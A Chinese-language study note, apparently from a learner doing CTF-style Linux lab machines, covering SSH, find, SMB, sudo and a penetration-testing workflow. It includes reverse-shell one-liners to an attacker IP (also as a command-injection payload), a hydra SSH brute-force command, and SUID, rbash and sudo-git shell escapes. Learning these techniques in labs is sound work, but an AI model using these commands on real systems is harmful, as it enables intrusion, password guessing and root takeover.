1、SSH
ssh 是一种安全网络协议(远程登录
)
通过SSH,可以把所有传输的数据进行加密,也能够防止DNS欺骗和IP欺骗。还有一个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。
(1)口令登录
ssh 客户端用户名@服务器ip地址
ssh ldz@192.168.0.1
SSH服务的默认端口是22
,也就是说,如果你不设置端口的话登录请求会自动送到远程主机的22端口。我们可以使用 -p 选项来修改端口号,比如连接到服务器的1234端口
ssh -p 1234 ldz@192.168.0.1
(2)公钥登录
每次登录远程主机都需要输入密码是很不方便的,如果想要省去这一步骤,可以利用密钥对进行连接,还可以提高安全性。
1、在本机生成密钥对
使用ssh-keygen
命令生成密钥对:
ssh-keygen -t rsa #-t表示类型选项,这里采用rsa加密算法
然后根据提示一步步的按enter键即可(其中有一个提示是要求设置私钥口令passphrase,不设置则为空,这里看心情吧,如果不放心私钥的安全可以设置一下),执行结束以后会在 /home/当前用户 目录下生成一个 .ssh 文件夹,其中包含私钥文件 id_rsa 和公钥文件 id_rsa.pub。
2、将公钥复制到远程主机中
使用ssh-copy-id
命令将公钥复制到远程主机。ssh-copy-id会将公钥写到远程主机的 ~/ .ssh/authorized_key 文件中
ssh-copy-id ldz@192.168.0.1
经过以上两个步骤,以后再登录这个远程主机就不用再输入密码了。
2、find 命令
一般格式:find + 目录名称 + 参数
参数的含义↓
-name 文件名称
find /etc/ -name passwd #查找/etc目录中文件名为passwd的文件
-user 文件所属用户
-group 文件所属组
-not 取反,非
find / -user 'technawi'
find / -user 'technawi' 2>/dev/null, 2>/dev/null是过滤掉类似没有权限的信息
3、SMB文件共享及应用
Samba
是Linux和UNIX系统上实现SMB协议
的一个免费软件,由服务器及客户端程序构成。
SMB
(Server Messages Block,信息服务块)是一种在局域网上共享文件
和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及打印机等资源的共享服务
。
smbclient
命令详解↓
smbclient命令属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源
smbclient(选项)(参数)
-B<ip地址>:传送广播数据包时所用的IP地址;
-d<排错层级>:指定记录文件所记载事件的详细程度;
-E:将信息送到标准错误输出设备;
-h:显示帮助;
-i<范围>:设置NetBIOS名称范围;
-I<IP地址>:指定服务器的IP地址;
-l<记录文件>:指定记录文件的名称;
-L:显示服务器端所分享出来的所有资源;
-M<NetBIOS名称>:可利用WinPopup协议,将信息送给选项中所指定的主机;
-n<NetBIOS名称>:指定用户端所要使用的NetBIOS名称;
-N:不用询问密码;
-O<连接槽选项>:设置用户端TCP连接槽的选项;
-p<TCP连接端口>:指定服务器端TCP连接端口编号;
-R<名称解析顺序>:设置NetBIOS名称解析的顺序;
-s<目录>:指定smb.conf所在的目录;
-t<服务器字码>:设置用何种字符码来解析服务器端的文件名称;
-T<tar选项>:备份服务器端分享的全部文件,并打包成tar格式的文件;
-U<用户名称>:指定用户名称;
-w<工作群组>:指定工作群组名称。
参数:
smb服务器:指定要连接的smb服务器。
使用 smbclient -L ip地址
可以查看指定Samba服务器上的所有共享目录
使用共享目录的命令格式为:smbclient //IP地址或主机名/共享目录名 -U用户名
因为此处是匿名访问,所以无须加上"-U"选项来指定访问的用户名
然后为了读取上面的share$文件,可以直接在win上面输入↓
4、linux中用户提权su和sudo的理解和用法
想要提权到root权限,有两种方法↓
(1)用su
切换到root用户登陆系统,进行管理操作,但必须要知道root密码,而且因为身份切换过来了他就可以进行任何root可以的操作,这也是非常不安全的
(2)在执行的命令前面加上sudo进行部分操作,这个相对于su灵活,允许哪些用户,执行哪些命令都可以配置
① 永久提权 su
②临时提权 sudo
sudo的配置文件是 /etc/sudoers
sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
sudo -i root
与sudo - root
、sudo -i
,sudo -
,sudo root
效果相同 提示输入密码时该密码为当前账户的密码 要求执行该命令的用户必须在sudoers中才可以 su需要的是切换后账户的密 用法为“su 账户名称”
sudo -i
: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。 要求执行该命令的用户必须在sudoers中才可以
sudo su
运行sudo命令给su命令提权,运行su命令。 要求执行该命令的用户必须在sudoers中才可以
在ctf靶场练习中,在linux提权可以用到 sudo su
5、命令注入
当页面中有webshell功能时,就看看有没有命令注入↓
使用连接符,可以执行多条指令↓
command1 && command2 前面的命令执行成功,才会执行后面的命令,前面的命令执行失败,后面的命令不会执行,与 || 正好相反
command1 | |command2 前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行
|
命令A|命令B,即前面命令执行的正确输出,会交给后面的命令继续处理。若前面的命令执行失败,则会报错,若后面的命令无法处理前面命令的输出,也会报错
;分号
表示命令依次执行
echo 'bash -i >& /dev/tcp/192.168.0.108/6666 0>&1' | bash
6、linux反弹shell
反弹shell,指的是我们在自己的机器上开启监听
,然后在被攻击的机器上发送连接请求去连接我们的机器
,将被攻击者的shell反弹到我们的机器上
例如 :
kali攻击者:192.168.0.4
被攻击者:192.168.0.3
① bash反弹shell
bash -i >& /dev/tcp/ip/port 0>&1
在kali中,监听端口↓
nc -lvp 7777
然后在被攻击的机器中输入↓
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
即可成功反弹shell到kali中↓
②接下来还有python反弹和nc反弹、php反弹等,遇到了再说吧
③另外,当出现这种情况时↓
su: must be run from a terminal 需要一个终端
这时候就可以用python调用本地的shell
命令↓
python -c 'import pty;pty.spawn("/bin/bash")'
7、Linux的一些基础命令
① 查看linux的用户
cat /etc/passwd
②查看服务器版本
cat /etc/issue
③查看内核版本信息
uname -a
④查看环境变量
set
或者 env
⑤是否有打印机
lpstat -a
⑥有什么服务在运行?是以什么样的权限在运行?
ps aux
ps -ef
top
cat /etc/services
⑦ 关注一下以 root 权限运行的服务,有可能对我们提权有帮助
ps aux | grep root
ps -ef | grep root
⑧获得当前目录
pwd
一、文件操作命令
二、文本操作命令
8、对练习了几个靶机的总结(都是linux靶机)↓
首先,找到靶机对应的ip,这里可用netdiscover 或者 nmap扫描(我一直用nmap去扫)
然后,找到ip地址后,去扫开放的端口、服务,看看有没有开放敏感的端口号,像什么ssh,smb服务、80端口web服务等
接着,去扫目录文件,用dirb
,查看一些敏感文件或后台地址
然后,就去登录网页,凡事都可查看一些源代码,看看有没有什么提示信息或直接的flag给出来
查一下robots.txt
,找后台,及登录方式,是爆破还是有用户名密码提示之类的,如果能登录成功,试试反弹shell,看能不能成功,成功的话就能拿到普通权限,这时候就要提权(另外,遇到cms时候,可以上网查对应有哪些漏洞,用msf找准漏洞模块来爆破拿shell)
先ls查看文件,有没有一眼看过去有特殊的文件,打开看看,说不定就是密码了,反正就是多看看多试试,当拿到密码后,
就可以试试sudo su
提权 ,输入密码,即可到root权限,如果当sudo su 回显说需要终端,就用python脚本去伪造(上面笔记已记录了)
到了root权限,就各种查看文件,一般都在主目录,可以 cd
一下,再 ls
一下,含有flag的文件就列出来了。
9、hydra 爆破
hydra
是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具
例如想爆ssh的密码
hydra -l flag4 -P /root/password.list ssh://192.168.124.76
-l
指定单个用户名
,适合在知道用户名爆破用户名密码时使用
-P
指定密码
,/root/password.list 是字典的路径
ssh://192.168.124.76 指定是ssh模块和对应的ip地址
10、suid提权
SUID
是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
如果Find命令
也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行
touch test
find test -exec whoami \;
即可提权到root!
11、渗透工具msf的使用
遇到某些cms时,可以先 search cms名字
,来获取一些漏洞攻击脚本
然后 use 某模块
,再 show options
,显示要配置的信息
都弄好之后,就 run
12、rbash绕过(rbash是受限制的bash,会被限制很多命令)
可以先查看可使用哪些命令↓
echo $PATH
尝试绕过的方法
1.
vi test
:!/bin/sh
3. more less
more test
!'sh'
5.
man ls
操作同more less
6.find
/usr/bin/find /etc/passwd -exec whoami \;
/usr/bin/find /etc/passwd -exec /bin/sh \;
8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
13.
BASH_CMDS[a]=/bin/sh;a
然后接着更改环境变量
执行:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
13、git提权
在靶机中,通过查看sudo配置文件,
sudo -l # root身份运行哪些命令
就尝试git提权
,
sudo git help config 或者 sudo git -p help
!/bin/bash
即可提权